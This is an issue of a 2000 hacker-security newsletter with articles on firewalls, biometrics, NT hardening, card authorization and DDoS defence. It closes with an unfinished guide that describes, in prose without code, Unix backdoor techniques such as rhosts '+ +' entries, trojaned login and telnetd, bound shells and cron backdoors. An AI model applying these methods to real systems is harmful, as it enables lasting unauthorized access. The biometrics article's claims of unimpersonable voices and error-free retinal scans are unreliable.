Copy Link
Add to Bookmark
Report
Default Newsletter Issue 08
=================================
Default newsletter #8
01.03.2000
http://default.net-security.org
=================================
Contents:
---------
"Default is back"
by BHZ [10.02.2000 -- Default 08-01]
"Firewall basics"
by /dev/null [10.02.2000 -- Default 08-02]
"Biometrics security devices"
by Atlienz [11.02.2000 -- Default 08-03]
"Windows NT Security Check Part I"
by Slash [14.02.2000 -- Default 08-04]
"Credit Card authorization process"
by daworm [17.02.2000 -- Default 08-05]
"Trendy security"
by Blue Boar [21.02.2000 -- Default 08-06]
"A DDOS defeating technique based on routing"
by Fernando P. Schapachnik [21.02.2000 -- Default 08-07]
"A guide to backdooring Unix systems"
by airwalk [28.02.2000 -- Default 08-08]
Back issues:
-------------
Default #01 - http://www.net-security.org/default/issues/default1.zip
Default #02 - http://www.net-security.org/default/issues/default2.zip
Default #03 - http://www.net-security.org/default/issues/default3.zip
Default #04 - http://www.net-security.org/default/issues/default4.zip
Default #05 - http://www.net-security.org/default/issues/default5.zip
Default #06 - http://www.net-security.org/default/issues/default6.zip
Default #07 - http://www.net-security.org/default/issues/default7.zip
Mirrors:
---------
http://www.nwo.net/default
http://www.attrition.org/~modify/texts/zines/default
http://www.projectgamma.com/archives/zines/default
http://www.dark-e.com/default
http://ech0.zort.org/default
http://www.deepquest.pf/default
http://hns.crolink.net/default
http://packetstorm.securify.com/mag/default
Subscribing:
-------------
By subscribing to HNS mailing list you could receive latest breaking news in security world, information on recently discovered vulnerabilities, information about Help Net Security and get latest Default newsletter issues directly to your mailbox.
http://www.net-security.org/info/list/
Default is back
by Berislav Kucan aka BHZ
bhz@net-security.org
Greetings to all Default readers,
We know that we were lazy (last default was released on 19.10.1999), but as you
can see, Default will be out once again:) We have different scheme for new issues
of default (thanks to Ladi and Null for the idea).
Articles will be published on web as soon as they are written and after every
7 or 8 of them, they will be archived in txt file, and sent out like earlier
versions of Default were sent.
Thanks to all of the ppl that helped in bringing Default back
(Ladi, Thejian, airwalk, /dev/null, WHiTe VaMPiRe, ZiM, Atlienz and others:)
Default newsletter (http://default.net-security.org)
Firewall Basics
by /dev/null
null@attrition.org
Most of us have heard of firewalls. The idea of a machine whose purpose
is to act as a sentry, blocking certain kinds of network traffic and
allowing others is one most people involved in security and hacking can
understand. But what exactly does a firewall -do-? How does it work, and
what are its weaknesses?
There are two basic types of firewall, or two ways in which a firewall can
function -- it can either packet filter or proxy. Each function has its
merits and flaws, and each function is best used for different reasons.
The majority of what we know as firewalls use a combination of both
functions.
Packet Filtering
------ ---------
A packet filtering firewall is the simplest type of firewall. In its most
basic setup, it is a machine with two network interfaces. The firewall
software operates strictly on the network layer and uses rules to
determine which packets are forwarded from one interface to another by
looking at the headers of each packet and determining whether or not they
match the rule set. For this reason it's easy to understand that a packet
filtering firewall's rule set consists of the information that can be
found in a packet's headers -- in other words, a packet filtering firewall
can sort packets based on the source address of the packet, the
destination address of the packet, the protocol type of the packet (TCP,
UDP, ICMP, etc), the source port of the packet, the destination port of
the packet, flags set on the packet (SYN, ACK, FIN, RST, etc), or other
such basic header information. The most common implementation of a packet
filtering firewall is in the form of access lists on a router, or rules on
a secured host with two network interface cards which can be used as a
router.
One step above standard packet filtering firewalls, but still considered
part of the same architecture, are stateful packet inspection firewalls.
The stateful inspection model was built off of standard packet filtering,
but it adds more security checks -- it intercepts incoming packets from
one interface until it has enough information from the packets it's
received (using information such as TCP sequence numbers) to determine the
'state' of the connection; then, if the intercepted packets pass the rule
set, they're forwarded on to the other interface. Using this information,
the firewall builds dynamic state tables. It uses these tables to keep
track of the connections that go through the firewall -- rather than
allowing all packets that meet the rule set's requirements to pass, it
allows only those packets which are part of a valid, established
connection.
Packet filtering firewalls are popular because they tend to be
inexpensive, fast, and relatively easy to configure and maintain. Most
companies already have a router on which they can set up a rule set, or
can easily get a host with two network cards. Even stateful packet
inspection firewalls are faster than the proxying alternative, because the
examination of the packet is done on the network layer.
The drawback to packet filtering firewalls lies in reduced security.
Because only the packet's headers are considered, a packet filtering
firewall does not protect against attacks directed at an application. For
instance, if a packet filtering firewall was set to allow incoming email
from the internet in general, then an attack on the SMTP service itself
would pass through the firewall without problem. In other words, as long
as the rule set is passed, a connection is made directly from outside the
firewall to inside the firewall. To address that issue, there are
proxying firewalls.
Proxying
--------
The fundamental difference between packet filtering and proxying lies in
the fact that proxy firewalls do not route. A proxy firewall operates on
the application layer and cares about the application itself -- it
receives data from one interface, inspects it according to its defined
rule set, and then passes the data to the other interface. A connection
is never made from the outside to the inside; as far as the machines
inside the firewall know, all their information is coming from the
firewall. Unlike the packet filtering model, a proxy firewall truly keeps
the internal and external systems separate.
This is not, however, the primary reason why proxy firewalls are so
attractive to organizations. Because the proxy firewall has full
visibility at the application layer, it can look for far more specific
pieces of information than a packet filter can; it can, for instance, tell
the difference between a piece of email containing text and a piece of
email containing a Microsoft Word document, or the difference between a
web page using Java and a web page without. Rules can be made
significantly more specific, as they can be designed around anything the
firewall can see at the application level.
As could be imagined, the greatest drawback to using this model is the
sacrifice in speed. Since all traffic has to be inspected on the
application level, a proxying firewall is significantly slower than the
packet filtering alternatives. For the greatly improved security,
performance suffers. This problem can be addressed by adaptive proxy
firewalls.
Just as stateful inspection firewalls are an enhanced version of packet
filtering firewalls, the adaptive proxy (also known as dynamic proxy)
architecture was developed from the standard proxy implementation.
Combining the merits of both proxy and packet filtering firewalls, an
adaptive proxy firewall works by analyzing the first part of a connection
at the application layer, as a standard proxy firewall does; however, once
the firewall has enough information to clear the traffic through the rule
set, subsequent packets are passed -- filtered -- through the network
layer. Similar to the case of the stateful inspection model, the firewall
builds a dynamic table. Packets are inspected according to the table.
Those that are considered to be a part of a valid, established session are
allowed to pass with simple packet filtering; those that are considered
part of a new connection are inspected on the application layer and
proxied. In this way, it's always the proxy that's doing the real
analysis for any connection; only after a session has been approved by the
strong security of the application proxy does it pass to the weaker but
faster packet filtering on the network layer.
From a security standpoint, the most secure firewall is a standard
proxying firewall, where all traffic is inspected on an application layer.
However, that isn't always the most practical solution. A strictly proxy
environment is slow and difficult to maintain. Proxies have to be written
for new applications as they come out. An adaptive proxy, using a
combination of proxying and packet filtering, is far more likely to be
encountered.
Default newsletter (http://default.net-security.org)
Biometrics security devices
by Atlienz
atlienz@default.net-security.org
Biometrics are unique biological characteristics which distinguish one person from another.
Biometric security is based on identification and verification of a user's unique biological
traits.
Biometric security is a key component for security systems of the future. There are
many biometrics including fingerprints, retinal scans and facial scans. However, speaker
verification of users through their unique, individual voices, is the most flexible and
efficient and least expensive way to deploy biometric security within a large volume,
distributed user group.
Your voice is distinctive to you alone; it can't be stolen or duplicated. Any time a user
wants to sign-on to the system, a Voicerecognition device prompts the individual for a short
pass phrase of random digits and then tests to see if this individual is who s/he claims to be.
The system is robust enough that it can recognize authorized users even when they have a cold.
With prompting there is no voice-password to forget. Prompting also protects this technology
against replay attacks from hackers with digital recorders.
One of the main things is that it does not require only a standard telephone or PC-based
microphone, both readlily available and inexpensive compared to other biometric devices.
Biological characteristics cannot be forgotten, misplaced, copied, borrowed, lost, stolen,
or otherwise compromised.
Reasons for biometrics
----------------------
- To ensure safety and security
- To prevent stolen security badges, licenses, or property
- To prevent someone from using false id badges or licenses
- To prevent someone from stealing another person's identity. This is becoming a big problem in the US where people are using other people's social security numbers, credit cards numbers, long distance calling cars numbers, and bank account numbers
- To prevent computer hackers from invading and tampering with email i+or internet accounts
Finger-image scanners
---------------------
Encrypted finger scans (not prints) are being considered for use by government administrators
(not the police) to make it easier for people eligible for social assistance to receive their
benefits quickly, and to protect their privacy in the process. The use of suitable encryption
technology can protect privacy because the encrypted finger scan does not function as a unique
identifier. It is only to be used for the purpose of authenticating eligibility for services or
benefits, therefore, it doesn't stigmatize those involved.
Finger-image identification is fast, affordable and non-intrusive.
Fingertip patterns 99+ percent
Eye patterns 96 percent
Voice 94 percent
Hand geometry 90 percent
Retinal scans
-------------
Retinal scans take the iris and blood vessels fromt hte back of the eye to identify someone.
the retinal scanner can take a picture of a person up to 3 feet away, and the user doesn't have
to interact with the device. Retinal scans have been used in high level security areas, which
include military sites and bank facilities. Retinal scans are the best biometric devices with
no false rates.
Facial scans
------------
Facial recognition is very secure and efficient, because the image is not stored.Therefore
computer hackers can not try to relocate the facial image to break into other people's accounts.
It is also very safe and secure since it has a very low false reject rate. It is very fast since
it takes less than one second to recognize you. Even eyeglasses, make-up, or facial hair doesnt
interfere with recognizing your face.
Speech recognition
------------------
Speech recognition is used in offices, labs, and banks. it is specifically focused on the
distinct characteristics of the voice, which can not be impersonated. Impersonators focus
on human hearing and do a bad job. Speech verification uses the biological and behavioral
factors of te voice, which can not be impersonated.
Methods of verifications
------------------------
Verification is a "one-to-one" comparison that compares the new identifier against
a previously generated identifier stored in the database or on an ID card. (The
stored identifier is selected on the basis of other information, such as a name or
account number.) If the new identifier matches the old, the person is who he or she
claims to be.
Certification is a "one-to-many" comparison that compares the new identifier against
all of the identifiers in the database. It is most often used to certify that the
person at the workstation is not known to the system under a different name. Should
a match be found, the system typically returns - for review and investigation - a
name, account number, and possibly photograph and replica signature of person
associated wuth the previously stored identifier.
Enrollment is the process of entering a new identifier into the database, usually
along with other information about a client, customer or applicant. Enrollment
typically begins with a one-to-many certification match to make sure that the
enrollee is not in the database under another name. If no match is found the new
finger image identifier - and the associated information - are added to the database.
The use of minutiae extraction software rather than the usual template method makes
large scale databases possible (comparable in size to law enforcement Automatic
Fingerprint Identification Systems) and simplifies future expansion.
The software computes a 1024-byte finger-image identifier record (FIIR). The relative
ly small size of the finger-image-identifier data record means that modern workstations, networks and desktop computers can perform real-time validation, certification and
enrollment in most identification solutions.
The FIIR can be compressed to 432 bytes for solutions requiring one-to-one validation
and can easily be stored, for example on magnetic strip, dataglyph or other "chipless"
smart cards thereby considerably reducing costs.
Default newsletter (http://default.net-security.org)
Windows NT Security Check Part I
by slash
tcsh@b0f.i-p.com
Introduction
------------
What do you do when you face the task of evaluating the security of a Windows NT system?
The only thing You can do is to manually evaluate the security of a system. Although this
can be a daunting task, you will find it a little easier if you follow the steps provided here.
This discussion provides quick steps for analyzing the basic security of a server.
Short Tips
----------
The following settings can serve as the basis for building a very secure system even if they
don't necessarily apply to a network server.
- All drives on the system must be formatted for the NT File System, not the FAT file system.
To check drive status in Windows NT 4.0, right-click on the drive and choose Properties.
- The Security Log should not overwrite old events. To check this, open the Event Viewer and
choose Log Settings from the Log menu. The option called "Do Not Overwrite Events (Clear Log
Manually)" should be enabled.
- Check Your logs daily. They tell a lot if an intruder tried to brake in.
- Do not allow blank passwords. It allows a hacker to get into the system and easily gain
administrator privileges. To check this, open the User Manager for Domains and choose
Account from the Policies menu and disable Permit Blank Passwords in the Minimum Password
Length field. This will require that you choose the "At Least x Characters" field and specify
a value for x.
- Disable the Guest account. In the User Manager, double-click on the Guest account and put
a check mark on the item called "Account Disabled." Having a Guest account means getting
hacked. Leave it only if that's absolutely necessary.
- Disable NetBIOS over TCP/IP network bindings where ever you can.
- Block all non-essential TCP/IP ports, especially UDP 137 and 138 and TCP 139. This may save
You from some DoS attacks.
Logging Options
---------------
Another good thing is to enable the Account Lockout option to prevent unauthorized users from
attempting to access the system by guessing passwords or brute forcing it. For optimum
security, never run the server with this option disabled. Set the following options as
appropriate:
- Lockout after x bad logon attempts. Set x to 3 to 4.
- Reset Count After x minutes Set to approximately 20 minutes to avoid unnecessary lockouts.
- Forcibly disconnect remote users from server when logon hours expire Set this option to
prevent after-hours activities or disconnect systems that were left on
- User must log on in order to change password Set this option to prevent users whose passwords
have expired from logging on. The administrator must change the password.
User Accounts
-------------
After You setup the domain account, check the status of each user account and group
in the User Manager. Check these options as follows:
- It's a good thing to check the password options. Should the user be able to change the
password? Does the password never expire? Is this account disabled? If it is disabled,
has the user left the company? If so, consider removing the account.
- Click the Groups button to determine which groups the user belongs to. Is membership in these
groups appropriate for the user? What rights and permissions does the user obtain from the
groups? What access does the group have to other domains?
- Click the Hours button to evaluate the times that the user can access the network. Make sure
no one can log on after hours if that is your policy.
- Click the Logon To button to evaluate which computers the user can log on to. Make sure
that no one can log on from a computer in an unsupervised area.
- Check for old user accounts and remove them.
- When setting up temporary accounts be sure to set an expiration date for the account, and
assign rights and permissions carefully.
Conclusion
----------
In this issue I explained how to improve security by taking care of user accounts and logging
options. Follow them step by step to help secure Your server. If You don't take care of Your
system, who will ? In the next issue I'm planing to explain user rights on a NT system, give
You some short tips about user groups and help You to setup the Administrators account for best
performance and security. Feel free to discuss any of these topics on Default webboard (http://net-security.org/webboard.htm).
More to come in Part II of "Windows NT Security Check"
Default newsletter (http://default.net-security.org)
Credit Card authorization process
by daworm
daworm@ech0.de
http://www.ech0.de
I will try to show you a typical authorization process of cards given
in Visa system (with use the VisaNet system).
Banks serving, which have connection between their own system and with
Visa Base I system (I mean connection on-line) can send information
across this connection. To do it they have to have special kind of
software, making possible sending of information in special format
required by VisaNet. Information can be send by using special
hardware with is property of Visa. The hardware is called interface
processor (MIP), or his smaller version which is interface processor
installed on personal computer (MIP/PC). Main function of this devices
is activity as interface among VisaNet computer system and others
computer systems of Visa members.
Serving Banks, which do not possess recommended software in their
system, but possess MIP/PC have access to Visa Base I across special
functions in terminal belonging to MIP/PC. It means that worker of
bank can introduce question for authorization to MIP/PC using a key
board of this terminal. Then MIP/PC executes coding messages and
sending it to VisaNet system.
Other way of access to Visa Base I is possibility of use telex.
Message should be send in special format to VisaNet system called
telex interface processor (TIP). When TIP will receive message will
start exchanging it on Visa Base I format and sends to VisaNet system.
Such solution is called Auto Telex System.
We have three choice of sending message of question for authorization
in Visa Base I system, them are:
- Connection on-line
- Connection across function in terminal MIP/PC
- Auto Telex System connection to TIP
All of them wear common name VisaNet Access Point (VAP). In chance of
transaction executed in cash machine or in electronic shop terminal,
in which you need to put PIN code, exists necessity of coding PIN
number. It's executed by computer cooperating with HSM (Hardware
Security Module) which is used to safe sending of PIN code in VisaNet
net.
Visa Base I after receipt a pronouncement for authorization first
checks basic elements of question like: it will check if pronouncement
came from recognized bank. System acts this checking Visa Base I
identification number of operating bank. It's called BIN (Base
Identification Number). It's six digit number sent by bank operator
together with pronouncement for authorization, which shows to VisaNet
system from who the pronouncement come. No one should deceive this
this number with BIN (Bank Identification Number) number being found
on card - they are two independent from oneself numbers possessing
only similar name.
The next step of authorization is that Visa Base I seeks out relating
instructions how to proceed with pronouncements for authorization
drawer-bank of card. Bank Identification Number is identical like
first six numbers of card. Drawer-bank of card as a rule asks for
sending him all of pronouncements for authorization - at times however
bank occupies personally only with transactions topping settled limit
and not doing nothing with small transactions which leaves to
independent of examining to VisaNet system.
On base delivered given about transaction drawer-bank of card checks
whether can give agreement on pronouncement for authorization.
Additionally (if question contains coded PIN number) bank verifies
delivered PIN number and other information delivered with this
number.
Answer - negative or affirmative - drawer-bank of card sends back
to operator bank, which stepped out for authorization. Answer is
sent also by means Visa Base I. If bank sends affirmative answer
adds to it generated by oneself code of authorization, which hits
together with answer to servicer. Servicer after receipt of answer
together with code of authorization is obliged to his inscriptions
as a proof of sale in suitable blank space called Authorization Code.
Of course if authorization is executed through electronic terminal
then code of authorization will be printed automatically.
All talked over process - from moment of dispatch of question for
authorization to moment of receipt the answer does not last more than
several of seconds - without regard on distance among operator bank
and drawer-bank of card.
If drawer-bank of card does not wish oneself to receive all of
authorization questions or if connection with bank is not possible
(e.g. in consequence damage) then in such situation pronouncement for
authorization has to examine by VisaNet system and VisaNet need to
give answer in name of drawer-bank. Such situation wears name Stand-In
Processing (STIP). VisaNet system during converting authorization STIP
complies to instruction settled by drawer-bank of card. If sum of
transaction is above certain values, then pronouncement sends oneself
immediately to drawer-bank of card - skipping of course situation of
lack physical connections with bank. Value above of which STIP Visa
sends question for authorizations is called Advice Limit. Except
Advice Limit every drawer-bank cards fixes also limit of exhibitors
which is called Issuer Limit.
If value of transaction is smaller from Advice Limit, STIP Visa checks
whether number of card is not placed in base of stolen cards numbers.
Base of stolen cards numbers is kept in Visa Base I. Data to bases
(numbers of stolen or lost cards) are delivered by banks giving Visa
cards. This base contains also numbers of cards on which one should
turn special attention that are bills of cards of persons especially
important. When number of card becomes identified from number from
base, STIP Visa undertakes suitable activities, e.g. if number will be
figured as number of card stolen, STIP Visa will ask servicer about
confiscation of card. If value of transaction is higher then Advice
Limit and smaller then Issuer Limit, then Visa again examines
pronouncement for authorization. However in such chance process of
transformation is a little more complicated, because except base of
stolen cards comes checks of other base called Activity File. Activity
File contains more detailed instructions from banks putting out cards.
These instructions controls use of cards, across settlement of maximum
numbers of use of card and maximum general sum which one can be pay
by using card in period few days. These instructions are also called
parameters of Visa Base I.
This is the end of fixing answers on authorization question, which
will be sent to servicer.
Default newsletter (http://default.net-security.org)
"I encountered an article that denies some facts I wrote and I am publishing it so
you can pick your side.....IMHO it doesn't convince me but your here to decide."
Atlienz
atlienz@default.net-security.org
Here is the article writen by Blue Boar (BlueBoar@thievco.com):
(reprinted with permission)
Thievco - Trendy Security - Rant #3
1/20/99
Most of the people who are going to read this are aware of the popularity that
security issues have enjoyed recently. For the most part, this is good. This
means that (given a flashy enough exploit) security problems will get popular
press, vendors will be publicly embarrassed, and all of us get high paying jobs.
Of course, as with anything getting press, there are opportunities for scams.
These scams include bad "security" software, articles offering bad security
advice, consultants preying on clueless customers, ISPs claiming to have more
secure networks, etc..
I won't comment (at this time) about everything mentioned in the previous two
paragraphs. In fact, those two paragraphs cover nearly our entire job as
hackers. Our job as hackers is to expose the scams via the popular press.
End plug for hacker work. I'm writing this today because of two things I keep
reading about, which as far as I'm concerned, are scams. These are biometrics
and public access terminals.
>From a security point-of-view, if these two technologies gain popularity, we're
going to be in a lot of trouble.
First, Biometrics:
For those who aren't familiar with the concept of biometrics, it's the practice
of using a measurement of one's body part(s) as an authentication mechanism. For
example, a fingerprint reader or retina scanner. This measurement becomes your
password.
The idea is that at your installation, all the workstations have a finger reader
or eyeball scanner. You walk up to a workstation, door, or whatever, scan your
part, and in you go.
Spot the problem yet? When you scan your body part, those measurements are
converted into some sort of digital representation. That string of bits that is
the digital representation is a STATIC PASSWORD. Worse, it's a static password
that you can't change, or perhaps can only change a limited number of times.
With a biometric string, there is no concept of a "bad" or "good" static
password. All you have is the string of bits that represent your body
measurement.
Keep in mind that this measurement is NOT necessarily secret, either. I'm not
even talking about the James Bond scenarios where they lift your prints from a
discarded soda can, or chloroform you, measure every orifice, and replace
everything in your house with an exact duplicate.
Think about what happens when this starts to become REALLY popular. The bank
wants to scan your eyeball to get cash out of the ATM. The DMV wants your prints
to get a driver's license. The grocery store wants to scan your face to accept
your check. Various government agencies already fingerprint and photograph you
and keep a permanent record if you get picked up, conviction or not.
Exactly how bad would this be? Imagine using your social security number as your
only password, on every system you have access to.
Why am I so worried about this? Because I'm seeing many, many people just assume
that biometrics are the ultimate authentication mechanism. I'm not just talking
about the clueless people either. I subscribe to a number of security mailing
lists, and I'm shocked at the number of people, who I think should know better,
make statements like: "Well, OTP cards are OK for now.. until we can widely
deploy biometrics."
NO, NO, NO! An OTP card with a halfway decent implementation is BETTER!
There is a general fallacy in the information security world. People, even
experts, tend to believe that something less familiar is more secure. I don't
know the psychology behind it, but I've seen it many times. That's why people
used to insist that NT was more secure than unix. Now NT is familiar, and we
know better.
So, I'm screaming about this biometrics mess because I don't want to see us go
down that path. I don't want us to spend 10 years proving that it wasn't such a
great idea.
Now, having said all that, let me take care of some of the pro-biometric
arguments right up front.
Do I think biometrics are completely useless? No. Biometrics are useless across
a network, or on a system out of my personal control. Where WOULD they work? I
would use biometrics as a PIN replacement on some sort of sealed security device
that I own and control. For example, an OTP card. I would be happy using my
fingerprint on my OTP card instead of punching in a PIN code.
Why? Because the biometric info itself (or a hash, or any product of it) doesn't
pass to another system. No one else has to have a record of my print.
I would NOT use it as a PIN replacement at my bank, because I would have no
choice about my biometric "PIN" matching at the bank and anywhere else.
Second, Public-Access Terminals:
I've also been reading a number of articles about "some day in the future" when
public kiosks with Internet access are available everywhere, and you don't even
need to take your laptop with you anymore. You simply plug in your smartcard,
and read your e-mail, in the middle of the mall, at your hotel room, etc..
This is so wrong, it's not funny.
These things are called web kiosks, public access terminals, e-mail stations or
something else. I'll call them PATs.
You're using a terminal that you have no idea how secure it is, who owns it, or
what's been done to it.
1: Payment issues. Today, in the United States, there is really no such thing as
a smart card, at least not as a mass-market payment device. For this purpose, we
use credit cards. A couple of times now I've used PATs, once in a bar in Boston,
and once at an airport lounge in Chicago. All I had to do was swipe a credit
card, and I had Internet access. No PIN code, no typing in the cardholder name,
just swipe and go. All you need is physical possession of a credit card.
All of the usual credit-card-over-the-net issues apply. Maybe more so, since
this PAT has been physically accessible to many people before you. Some PATs may
be on the Internet full-time. All the better to break into them remotely and
collect credit cards. Many of them run Windows, so development of an appropriate
trojan or exploit should be quite do-able.
I'm not one of those people who is super paranoid about using credit cards over
the Internet. Credit cards have the best fraud protection of any payment
mechanism. If you are paranoid about that sort of thing, you'll want to stay
away from PATs.
2: Privacy issues. So far, these PATs provide only public Internet service.
Still, this is a problem if you're, say, a Hotmail user. Any web site you visit
with any sensitive information, such as a username and password, may be
vulnerable. It may be vulnerable because of someone breaking into the machine
and monitoring all activity, or something as stupid as the next guy checking the
history table in the browser. Same for telnet, POP, FTP or any protocol. Don't
forget about the 100
people standing around in viewing distance of the terminal either. What happens
when there are PATs that start advertising themselves as "VPN ready". Just
swipe your card, punch in your password (or your fingerprint) and you're
connected to the corporate net.
If it's something you wouldn't want the entire world to see, don't access it
from a PAT.
3: Public Attack Terminals. Another meaning for PAT. These public terminals are
to crackers what payphones are to (evil) phreaks. An anonymous place to attack
from.
How do I know? The company I work at puts on a number of trade shows each year.
For the last couple of years, we have provided Internet access via banks of PCs
at these shows. I have a class C that I drag around the world for these shows
that I use for this. These machines aren't firewalled, lest it break some new
Internet media toy. They can be reloaded quickly if hacked.
My name is on the in-addr.arpa whois for this class C. Every time, for the last
few shows, I get a call from someone wanting to know why I'm attacking them.
Seems that someone at the show is trying out IMAP exploits, doing network scans,
etc... By the time the message reaches everyone, the attacker is long gone.
The best I can do is explain to the attacked party what that network is used
for. Most people are very understanding, and they simply block that class C.
Conclusion:
As someone who is concerned about security, you need to do what you should
always be doing, apply some critical thinking to the use of new technologies.
Nothing that I've pointed out here is really news. Anyone who would bother to
read this could figure it out himself or herself. Occasionally though, I find
that I need to have something pointed out to me to make it obvious. Sometimes,
you need all of the problems brought together in one spot to really see how bad
an idea something is.
Default newsletter (http://default.net-security.org)
A DDOS defeating technique based on routing
by Fernando P. Schapachnik
fernando@via-net-works.net.ar
Disclaimer
----------
The opinions expressed here are mine only. My current employer does not
hold any responsability over them.
This is only a proposal that must be considered as _draft_ or _work in
progress_. It is made available to the Internet community as a contribution to
fight the DDOS threat. It is published as and 'thinking starting point' rather
than as closed solution.
Please be aware that assesments made here could be wrong. I'd love to
here corrections and refutals.
Abstract
--------
This paper describes a technique that -hopefully- can be used to defeat
the recent DDOS attacks. The solution presented here is bases on routing. It
requires a certain amount of extra network infrastructure.
Introduction
------------
Recent attacks to big Internet sites such as Yahoo and CNN has possed
a threat on Internet security. The problem with these DDOS is that packets
come from spoofed addresses and tracking the source becomes a very complex
task involving cross-AS cooperation and a huge amount of time.
Some measures have been proposed, but they are based on filtering
forged packets at the origin, and this means action by an -a priori-
uniterested party. Furthermore little has been proposed to stop attacks as
they are being produced.
This paper introduces a method that can be used in some situations to
avoid this kind of attacks in a short time fraim. It's efectivy increases if it
is combined with origin-analysis techniques.
Description
-----------
We will introduce the proposed technique by means of an example. Let's
suppose example.com has an important web site. During the scope of this paper
we will asume we are not interested on any other service than www, although
this method can be applied to protect another services (but not all of them).
Another simplification will be to assume that example.com has only one link to
the Internet.
We can draw example.com current infrastructure like this:
+--------+
-a--| | +---------------+
| | | | +-----------------+
-b--| ISP +-----d------+ example.com's +-----+ www.example.com |
| | | border router | +-----------------+
-c--| | +---------------+ \
+--------+ \ 10.0.0.2
10.0.0.1
Being: a, b and c the ISP links to the Internet, and d a link between the ISP
and example.com. Let 10.0.0.1 be the IP assigned to the internal interface of
the border router and 10.0.0.2 the IP assigned to www.example.com public web
server.
It can be argued that there must be a firewall in between, but this is
not relevant to the proposal.
The proposed technique is about changing the IP addresses of the hosts
being attacked and diverting the IP block under attack to a stub network
where traffic can be analyzed to track it down, or just dropped.
In order to be ready to a massive DDOS attack, example.com should
change its network structure to something like:
+--------------+
+----e-----+ stub network |
| +--------------+
+--------+ |
-a--| | | +---------------+
| | | | | +-----------------+
-b--| ISP +-+---d------+ example.com's +-----+ www.example.com |
| | | border router | +-----------------+
-c--| | +---------------+ \
+--------+ \ 10.0.0.2 and 10.0.1.2
10.0.0.1 and 10.0.1.1
+---------------+
| example.com's |
| DNS server |
| where |
| www=10.0.0.2 |
+---------------+
In case a DDOS attack against example.com is detected, the following
actions should be carried on:
1- dial up connection to example.com's externally located DNS server
(possible many of them in order to complicate DDOSing both www and DNS
servers) to make www.example.com point to 10.0.1.2.
2- phone call to ISP to route traffic to 10.0.0.x to the stub network and start
routing the 10.0.1 network.
These simple steps would divert the attack to a place where it doesn't
disrupts example.com functionality and where it can be tracked down.
Of course the attacker can notice the change, and:
a) attack also the new network. In this case his 'firing power' against each
network would be halfed. This opens the chance to example.com to have many
networks to be used for such cases. Hopefully, a sufficient number of networks
would make the amount of traffic received by each one large enough to be
handled by undelying infraestructure.
b) attack _only_ the new network. example.com can switch back to the old one,
or even a new one. Maybe this is the best move the attacker can made, but if
he does the comprised machines would create a pattern of traffic very easily
identified by a distributed network scanner that can consult a central site
for patterns and can _hopefully_ be run on periodic bases by ISPs concerned
about Internet safety.
Conclusion
----------
A method for defeating DDOS attacks on real time has been depicted.
This method is not bullet proof and requires a certain amount of extra network
infrastructure.
Publishing it in its actual form main purposed is having it enhanced
by the Internet community.
Default newsletter (http://default.net-security.org)
A guide to backdooring Unix systems
by airwalk
j0ker@rocketmail.com
http://interscape.net-security.org
Introduction:
-------------*
when a hacker intrudes a system, he or she is confronted with a difficult task -- keeping
access to that very same system. the intruder must know all weaknesses in order to exploit
them and to gain constant access to the server. this is not an easy task. a backdoor, or a
trojan, is a program which gives access, permissions and/or privileges to hackers so they
can keep 'owning' the targeted system. this, however, cannot be generalized; backdoors do
many different things, but their main goal is to keep giving access to restricted areas.
there is a difference between a backdoor (also called a trapdoor) and a trojan (also called
a trojan horse): a backdoor is placed after a hacker has hacked his way into the system (it
is only used to give further access to the intruder), while a trojan is a program which will
give the hacker access independant to whether he/she already has access or not. basically, a
trojan is used when a potential intruder has no more ideas on how to get into the system so
he writes or uses an already written program to fool the administrator, or any other user,
on the target system into giving him access and some other things (like allowing uploading/
downloading of files, etc...).
in this article i will write about how one places and makes backdoors and simple trojans in
the Unix system environment. i will present some techniques which might be of interest to
administrators as well as to people on the other side of the playground. having and keeping
remote access to the system even long after the actual penetration is one of the biggest
challenges in security of the Unix system.
Cases throughout the history:
-----------------------------*
'Historia est magistra vitae' (History is the teacher of life). throughout the history there
have been many examples of hidden trojan horse and backdoor programs placed in free and even
in commercial software. here are some important cases:
the Crackerjack case: a trojan horse was placed inside the code of this well-known Unix
password cracker. other than just cracking (brute-forcing actually) Unix passwords, the
program also secretly reported the cracked passwords to the person who made the trojan
horse. of course, the author immediately changed the code and made a newer version.
the SATAN case: an early version of SATAN (1.0) had malicious code in one of the binaries
shipped in the package -- fping. whoever modified the code had physical access to the
machines holding the code (at Temple University). he/she altered the main() function in
fping so that the program would also add a user entry to the /etc/passwd file (username:
'suser'). using that very same username, the programmer got remote access to machines that
had SATAN installed.
the quota trojan case: in 1996 a trojanized version of quota (a Unix tool for checking disk
qoutas for users) was distributed on the Internet. the trojan copied passwords and NIS maps
and e-mailed them to the author of the code.
the ircII trojan case: back in 1994, ircII (Internet Relay Chat client) version 2.2.9 also
had a trojan horse. basically, the trojan gave access to systems to the author of the code.
the TCP Wrappers case: there was a trojan version of a popular Unix tool TCP Wrappers on
the Internet. it sent an e-mail to the authors of the trojan upon compilation with the
information which gave them root access to all hosts that had TCP Wrappers installed.
the infamous Slackware backdoor: in Linux Slackware releases 3.2 and earlier, there was a
package called sample_users.tgz. this file would install three users ('satan','gonzo' and
'snake') without passwords. this gave free access to hackers.
of course, these aren't all examples of backdoors and trojan horses on Unix systems -- these
are just some of them (there have been many more, for example the wu-ftpd trojan horse).
my point is, trojan horses are a big threat because they can be everywhere and they can do
virtually anything.
Backdoor techniques:
--------------------*
once you penetrate a system, it is hard to get the root account again, if the admin found
out that you hacked his/her system. you would then have to look out for new security holes,
or you'd have to social engineer/trojan horse your way into the system. a technique used
to avoid this, hence giving you root access again, is called backdooring.
there is a wide variety of backdoor techniques, going from simple ones like adding an entry
to the /etc/passwd file, to more complex ones like opening a service daemon.
the most used techniques by hackers are: the rhosts backdoor (works by adding a string of
'+ +' to the users' rhosts file, so that anyone from anywhere can rlogin or rsh his way into
the system), the login backdoor (a modified version of the Unix login program -- if an
intruder types in a special backdoor password, regardless to what username he used, he
would immidiately get a shell for that specific user), telnet daemon backdoor (a modified
version of the in.telnetd file, which allows access to hackers if they have a specific
terminal type (since the daemon checks for this in the process of initialization), like a
special string or password), services backdoor (new network serives, or old ones which are
not being used, are replaced by backdoor services; usually a binded shell to a TCP port,
which, when given a special password, gives access to hackers (actually, a modified version
of inetd.conf)), network traffic backdoors (shells which very directly giving output to a
specified port, usually TCP, UDP and ICMP (since most firewalls allow ping packets to pass
through the network, this is a good idea for a message-transfer backdoor)), library
backdoors (backdoors placed in library files (something like the DLL files on MS Windows
machines) which would give access to intruders, such as modifying the crypt() routine to
pass specific passwords), cronjob backdoors (using the cron (a program which runs programs
at a specific time and date), intruders could place shell backdoors to run at a specific
